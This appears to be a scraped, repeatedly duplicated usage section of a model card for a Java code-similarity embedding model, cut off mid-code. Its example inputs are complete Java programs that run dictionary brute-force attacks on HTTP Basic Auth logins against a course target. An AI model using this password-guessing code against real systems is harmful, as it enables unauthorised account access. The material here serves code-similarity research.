return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && 